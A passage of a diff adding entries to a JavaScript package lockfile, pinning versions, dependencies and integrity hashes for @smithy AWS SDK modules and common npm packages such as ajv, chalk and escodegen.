"@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-IRTkd6ps0ru+lTWnfnsbXzW80A8Od8p3pYiZnW98K2Hb20rqfsX7VTlfUwhrcOeSSy68Gn9WBofwPuw3e5CCsg=="], + + "@smithy/core": ["@smithy/core@3.23.8", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.12", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-f7uPeBi7ehmLT4YF2u9j3qx6lSnurG1DLXOsTtJrIRNDF7VXio4BGHQ+SQteN/BrUVudbkuL4v7oOsRCzq4BqA=="], + + "@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="], + + "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="], + + "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-3rEpo3G6f/nRS7fQDsZmxw/ius6rnlIpz4UX6FlALEzz8JoSxFmdBt0SZnthis+km7sQo6q5/3e+UJcuQivoXA=="], + + "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XeNIA8tcP/GDWnnKkO7qEm/bg0B/bP9lvIXZBXcGZwZ+VYM8h8k9wuDvUODtdQ2Wcp2RcBkPTCSMmaniVHrMlA=="], + + "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-fzbCh18rscBDTQSCrsp1fGcclLNF//nJyhjldsEl/5wCYmgpHblv5JSppQAyQI24lClsFT0wV06N1Porn0IsEw=="], + + "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.11", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-MJ7HcI+jEkqoWT5vp+uoVaAjBrmxBtKhZTeynDRG/seEjJfqyg3SiqMMqyPnAMzmIfLaeJ/uiuSDP/l9AnMy/Q=="], + + "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.13", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ=="], + + "@smithy/hash-node": ["@smithy/hash-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-T+p1pNynRkydpdL015ruIoyPSRw9e/SQOWmSAMmmprfswMrd5Ow5igOWNVlvyVFZlxXqGmyH3NQwfwy8r5Jx0A=="], + + "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-cGNMrgykRmddrNhYy1yBdrp5GwIgEkniS7k9O1VLB38yxQtlvrxpZtUVvo6T4cKpeZsriukBuuxfJcdZQc/f/g=="], + + "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow=="], + + "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.11", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-UvIfKYAKhCzr4p6jFevPlKhQwyQwlJ6IeKLDhmV1PlYfcW3RL4ROjNEDtSik4NYMi9kDkH7eSwyTP3vNJ/u/Dw=="], + + "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.22", "", { "dependencies": { "@smithy/core": "^3.23.8", "@smithy/middleware-serde": "^4.2.12", "@smithy/node-config-provider": "^4.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-sc81w1o4Jy+/MAQlY3sQ8C7CmSpcvIi3TAzXblUv2hjG11BBSJi/Cw8vDx5BxMxapuH2I+Gc+45vWsgU07WZRQ=="], + + "@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.39", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/service-error-classification": "^4.2.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-MCVCxaCzuZgiHtHGV2Ke44nh6t4+8/tO+rTYOzrr2+G4nMLU/qbzNCWKBX54lyEaVcGQrfOJiG2f8imtiw+nIQ=="], + + "@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="], + + "@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg=="], + + "@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="], + + "@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.14", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A=="], + + "@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="], + + "@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="], + + "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="], + + "@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ=="], + + "@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0" } }, "sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw=="], + + "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="], + + "@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="], + + "@smithy/smithy-client": ["@smithy/smithy-client@4.12.2", "", { "dependencies": { "@smithy/core": "^3.23.8", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-stack": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-HezY3UuG0k4T+4xhFKctLXCA5N2oN+Rtv+mmL8Gt7YmsUY2yhmcLyW75qrSzldfj75IsCW/4UhY3s20KcFnZqA=="], + + "@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="], + + "@smithy/url-parser": ["@smithy/url-parser@4.2.11", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing=="], + + "@smithy/util-base64": ["@smithy/util-base64@4.3.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ=="], + + "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ=="], + + "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g=="], + + "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.2", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q=="], + + "@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ=="], + + "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.38", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-c8P1mFLNxcsdAMabB8/VUQUbWzFmgujWi4bAXSggcqLYPc8V4U5abqFqOyn+dK4YT+q8UyCVkTO8807t4t2syA=="], + + "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.41", "", { "dependencies": { "@smithy/config-resolver": "^4.4.10", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-/UG+9MT3UZAR0fLzOtMJMfWGcjjHvgggq924x/CRy8vRbL+yFf3Z6vETlvq8vDH92+31P/1gSOFoo7303wN8WQ=="], + + "@smithy/util-endpoints": ["@smithy/util-endpoints@3.3.2", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-+4HFLpE5u29AbFlTdlKIT7jfOzZ8PDYZKTb3e+AgLz986OYwqTourQ5H+jg79/66DB69Un1+qKecLnkZdAsYcA=="], + + "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg=="], + + "@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="], + + "@smithy/util-retry": ["@smithy/util-retry@4.2.11", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XSZULmL5x6aCTTii59wJqKsY1l3eMIAomRAccW7Tzh9r8s7T/7rdo03oektuH5jeYRlJMPcNP92EuRDvk9aXbw=="], + + "@smithy/util-stream": ["@smithy/util-stream@4.5.17", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ=="], + + "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw=="], + + "@smithy/util-utf8": ["@smithy/util-utf8@4.2.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw=="], + + "@smithy/uuid": ["@smithy/uuid@1.1.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g=="], + + "@tokenizer/inflate": ["@tokenizer/inflate@0.4.1", "", { "dependencies": { "debug": "^4.4.3", "token-types": "^6.1.1" } }, "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA=="], + + "@tokenizer/token": ["@tokenizer/token@0.3.0", "", {}, "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="], + + "@tootallnate/quickjs-emscripten": ["@tootallnate/quickjs-emscripten@0.23.0", "", {}, "sha512-C5Mc6rdnsaJDjO3UpGW/CQTHtCKaYlScZTly4JIu97Jxo/odCiH0ITnDXSJPTOrEKk/ycSZ0AOgTmkDtkOsvIA=="], + + "@types/mime-types": ["@types/mime-types@2.1.4", "", {}, "sha512-lfU4b34HOri+kAY5UheuFMWPDOI+OPceBSHZKp69gEyTL/mmJ4cnU6Y/rlme3UL3GyOn6Y42hyIEw0/q8sWx5w=="], + + "@types/node": ["@types/node@25.3.3", "", { "dependencies": { "undici-types": "~7.18.0" } }, "sha512-DpzbrH7wIcBaJibpKo9nnSQL0MTRdnWttGyE5haGwK86xgMOkFLp7vEyfQPGLOJh5wNYiJ3V9PmUMDhV9u8kkQ=="], + + "@types/retry": ["@types/retry@0.12.0", "", {}, "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA=="], + + "@types/yauzl": ["@types/yauzl@2.10.3", "", { "dependencies": { "@types/node": "*" } }, "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q=="], + + "agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="], + + "ajv": ["ajv@8.18.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="], + + "ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="], + + "ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + + "ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="], + + "any-promise": ["any-promise@1.3.0", "", {}, "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A=="], + + "ast-types": ["ast-types@0.13.4", "", { "dependencies": { "tslib": "^2.0.1" } }, "sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w=="], + + "balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="], + + "base64-js": ["base64-js@1.5.1", "", {}, "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="], + + "basic-ftp": ["basic-ftp@5.2.0", "", {}, "sha512-VoMINM2rqJwJgfdHq6RiUudKt2BV+FY5ZFezP/ypmwayk68+NzzAQy4XXLlqsGD4MCzq3DrmNFD/uUmBJuGoXw=="], + + "bignumber.js": ["bignumber.js@9.3.1", "", {}, "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ=="], + + "bowser": ["bowser@2.14.1", "", {}, "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg=="], + + "brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="], + + "buffer-crc32": ["buffer-crc32@0.2.13", "", {}, "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ=="], + + "buffer-equal-constant-time": ["buffer-equal-constant-time@1.0.1", "", {}, "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA=="], + + "chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], + + "cli-highlight": ["cli-highlight@2.1.11", "", { "dependencies": { "chalk": "^4.0.0", "highlight.js": "^10.7.1", "mz": "^2.4.0", "parse5": "^5.1.1", "parse5-htmlparser2-tree-adapter": "^6.0.0", "yargs": "^16.0.0" }, "bin": { "highlight": "bin/highlight" } }, "sha512-9KDcoEVwyUXrjcJNvHD0NFc/hiwe/WPVYIleQh2O1N2Zro5gWJZ/K+3DGn8w8P/F6FxOgzyC5bxDyHIgCSPhGg=="], + + "cliui": ["cliui@7.0.4", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^7.0.0" } }, "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ=="], + + "color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="], + + "color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="], + + "cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="], + + "data-uri-to-buffer": ["data-uri-to-buffer@6.0.2", "", {}, "sha512-7hvf7/GW8e86rW0ptuwS3OcBGDjIi6SZva7hCyWC0yYry2cOPmLIjXAUHI6DK2HsnwJd9ifmt57i8eV2n4YNpw=="], + + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], + + "degenerator": ["degenerator@5.0.1", "", { "dependencies": { "ast-types": "^0.13.4", "escodegen": "^2.1.0", "esprima": "^4.0.1" } }, "sha512-TllpMR/t0M5sqCXfj85i4XaAzxmS5tVA16dqvdkMwGmzI+dXLXnw3J+3Vdv7VKw+ThlTMboK6i9rnZ6Nntj5CQ=="], + + "diff": ["diff@8.0.3", "", {}, "sha512-qejHi7bcSD4hQAZE0tNAawRK1ZtafHDmMTMkrrIGgSLl7hTnQHmKCeB45xAcbfTqK2zowkM3j3bHt/4b/ARbYQ=="], + + "eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="], + + "ecdsa-sig-formatter": ["ecdsa-sig-formatter@1.0.11", "", { "dependencies": { "safe-buffer": "^5.0.1" } }, "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ=="], + + "emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "end-of-stream": ["end-of-stream@1.4.5", "", { "dependencies": { "once": "^1.4.0" } }, "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg=="], + + "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], + + "escodegen": ["escodegen@2.1.0", "", { "dependencies": { "esprima": "^4.0.1", "estraverse": "^5.2.0", "esutils": "^2.0.2" }, "optionalDependencies": { "source-map": "~0.6.1" }, "bin": { "esgenerate": "bin/esgenerate.js", "escodegen": "bin/escodegen.js" } }, "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w=="], + + "esprima": ["esprima@4.0.1", "", { "bin": { "esparse": "./bin/esparse.js", "esvalidate": "./bin/esvalidate.js" } }, "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A=="], + + "estraverse": ["estraverse@5.3.0", "", {}, "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="], + + "esutils": ["esutils@2.0.3", "", {}, "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g=="], + + "extend": ["extend@3.0.2", "", {}, "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="], + + "extract-zip": ["extract-zip@2.0.1", "", { "dependencies": { "debug": "^4.1.1", "get-stream": "^5.1.0", "yauzl": "^2.10.0" }, "optionalDependencies": { "@types/yauzl": "^2.9.1" }, "bin": { "extract-zip": "cli.js" } }, "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg=="], + + "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], + + "fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="], + + "fast-xml-builder": ["fast-xml-builder@1.0.0", "", {}, 